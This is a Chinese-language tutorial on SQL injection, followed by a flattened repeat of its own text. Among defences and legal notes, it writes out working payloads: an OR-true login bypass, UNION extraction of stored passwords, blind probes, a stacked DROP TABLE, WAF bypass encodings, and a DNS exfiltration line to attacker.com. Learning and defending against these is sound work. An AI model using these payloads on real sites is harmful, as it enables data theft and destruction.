SQL注入精粹:从0到1的注入之路
字数 1584 2025-08-18 11:35:59

SQL注入精粹:从0到1的注入之路

1. SQL注入基础概念

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而欺骗数据库服务器执行非预期的SQL命令。

1.1 SQL注入原理

  • 应用程序未对用户输入进行充分过滤和验证
  • 恶意输入被拼接到SQL查询中
  • 数据库执行了包含恶意代码的完整查询
  • 攻击者可以读取、修改或删除数据库中的数据

1.2 SQL注入危害

  • 数据泄露(用户凭证、个人信息等)
  • 数据篡改
  • 数据库服务器被控制
  • 拒绝服务攻击
  • 整个系统沦陷

2. SQL注入类型

2.1 基于错误的注入

利用数据库返回的错误信息获取数据库结构信息。

2.2 联合查询注入

使用UNION操作符将恶意查询与原始查询合并执行。

2.3 布尔盲注

通过页面返回的真假状态推断信息。

2.4 时间盲注

通过数据库响应时间差异推断信息。

2.5 堆叠查询

执行多个SQL语句,利用分号(;)分隔。

3. 关键注入技术详解

3.1 基础注入技术

3.1.1 单引号测试

' OR '1'='1

3.1.2 注释符使用

' -- 
' # 
' /* */

3.2 联合查询注入详解

3.2.1 确定列数

ORDER BY n -- 通过递增n直到报错确定列数

3.2.2 UNION注入

UNION SELECT 1,2,3 -- 确定显示位
UNION SELECT username,password,3 FROM users -- 获取数据

3.3 报错注入技术

3.3.1 floor(rand(0)*2)报错原理

SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) AS x 
FROM information_schema.tables 
GROUP BY x
  • rand(0):以0为种子生成随机数序列
  • rand(0)*2:将随机数乘以2
  • floor(rand(0)*2):取整,结果为0或1
  • 当使用GROUP BY时,由于rand()的随机性会导致主键冲突报错

3.3.2 其他报错函数

extractvalue()
updatexml()
exp()
geometrycollection()
polygon()

3.4 盲注技术

3.4.1 布尔盲注

AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'

3.4.2 时间盲注

IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)

3.5 堆叠查询

'; DROP TABLE users; --

4. 数据库特性与绕过技巧

4.1 MySQL特性

  • 注释:-- , #, /* */
  • 字符串连接:CONCAT(), ||(需设置PIPES_AS_CONCAT)
  • 信息获取:information_schema

4.2 MSSQL特性

  • 注释:--, /* */
  • 字符串连接:+
  • 信息获取:sysobjects, syscolumns

4.3 Oracle特性

  • 注释:--, /* */
  • 字符串连接:||
  • 信息获取:all_tables, all_tab_columns

4.4 绕过技巧

4.4.1 大小写混合

SeLeCt

4.4.2 内联注释

/*!SELECT*/

4.4.3 编码绕过

%27 OR %271%27=%271

4.4.4 等价函数替换

SUBSTRING() -> MID() -> SUBSTR()

4.4.5 空白符替换

%09 (TAB), %0A (换行), %0C (换页), %0D (回车)

5. 防御措施

5.1 输入验证

  • 白名单验证
  • 数据类型检查
  • 长度限制

5.2 参数化查询

使用预编译语句,分离SQL代码和数据。

5.3 最小权限原则

数据库账户只授予必要权限。

5.4 错误处理

自定义错误页面,不暴露数据库错误信息。

5.5 Web应用防火墙(WAF)

过滤恶意请求。

6. 实战演练

6.1 注入点识别

  1. 寻找用户输入点
  2. 测试特殊字符响应
  3. 判断注入类型

6.2 信息收集

  1. 数据库版本
  2. 数据库名称
  3. 表名和列名
  4. 数据提取

6.3 自动化工具使用

  • sqlmap
  • Havij
  • Burp Suite

7. 高级技巧

7.1 DNS外带数据

LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share'))

7.2 二进制数据提取

使用HEX()或ASCII()函数处理二进制数据。

7.3 文件读写

SELECT ... INTO OUTFILE
LOAD_FILE()

8. 法律与道德

  • SQL注入测试必须获得授权
  • 未经授权的测试可能构成犯罪
  • 遵循负责任的披露原则

9. 学习资源

  • OWASP SQL Injection Prevention Cheat Sheet
  • SQL Injection Wiki
  • Web安全测试实践指南

这篇文档涵盖了SQL注入的核心知识点,从基础概念到高级技巧,并包含了勘误中提到的floor(rand(0)*2)报错注入的详细解释。实际应用中请确保遵守法律法规,仅在授权环境下进行安全测试。

SQL注入精粹:从0到1的注入之路 1. SQL注入基础概念 SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而欺骗数据库服务器执行非预期的SQL命令。 1.1 SQL注入原理 应用程序未对用户输入进行充分过滤和验证 恶意输入被拼接到SQL查询中 数据库执行了包含恶意代码的完整查询 攻击者可以读取、修改或删除数据库中的数据 1.2 SQL注入危害 数据泄露(用户凭证、个人信息等) 数据篡改 数据库服务器被控制 拒绝服务攻击 整个系统沦陷 2. SQL注入类型 2.1 基于错误的注入 利用数据库返回的错误信息获取数据库结构信息。 2.2 联合查询注入 使用UNION操作符将恶意查询与原始查询合并执行。 2.3 布尔盲注 通过页面返回的真假状态推断信息。 2.4 时间盲注 通过数据库响应时间差异推断信息。 2.5 堆叠查询 执行多个SQL语句,利用分号(;)分隔。 3. 关键注入技术详解 3.1 基础注入技术 3.1.1 单引号测试 3.1.2 注释符使用 3.2 联合查询注入详解 3.2.1 确定列数 3.2.2 UNION注入 3.3 报错注入技术 3.3.1 floor(rand(0)* 2)报错原理 rand(0) :以0为种子生成随机数序列 rand(0)*2 :将随机数乘以2 floor(rand(0)*2) :取整,结果为0或1 当使用GROUP BY时,由于rand()的随机性会导致主键冲突报错 3.3.2 其他报错函数 3.4 盲注技术 3.4.1 布尔盲注 3.4.2 时间盲注 3.5 堆叠查询 4. 数据库特性与绕过技巧 4.1 MySQL特性 注释: -- , # , /* */ 字符串连接: CONCAT() , || (需设置PIPES_ AS_ CONCAT) 信息获取: information_schema 4.2 MSSQL特性 注释: -- , /* */ 字符串连接: + 信息获取: sysobjects , syscolumns 4.3 Oracle特性 注释: -- , /* */ 字符串连接: || 信息获取: all_tables , all_tab_columns 4.4 绕过技巧 4.4.1 大小写混合 4.4.2 内联注释 4.4.3 编码绕过 4.4.4 等价函数替换 4.4.5 空白符替换 5. 防御措施 5.1 输入验证 白名单验证 数据类型检查 长度限制 5.2 参数化查询 使用预编译语句,分离SQL代码和数据。 5.3 最小权限原则 数据库账户只授予必要权限。 5.4 错误处理 自定义错误页面,不暴露数据库错误信息。 5.5 Web应用防火墙(WAF) 过滤恶意请求。 6. 实战演练 6.1 注入点识别 寻找用户输入点 测试特殊字符响应 判断注入类型 6.2 信息收集 数据库版本 数据库名称 表名和列名 数据提取 6.3 自动化工具使用 sqlmap Havij Burp Suite 7. 高级技巧 7.1 DNS外带数据 7.2 二进制数据提取 使用HEX()或ASCII()函数处理二进制数据。 7.3 文件读写 8. 法律与道德 SQL注入测试必须获得授权 未经授权的测试可能构成犯罪 遵循负责任的披露原则 9. 学习资源 OWASP SQL Injection Prevention Cheat Sheet SQL Injection Wiki Web安全测试实践指南 这篇文档涵盖了SQL注入的核心知识点,从基础概念到高级技巧,并包含了勘误中提到的 floor(rand(0)*2) 报错注入的详细解释。实际应用中请确保遵守法律法规,仅在授权环境下进行安全测试。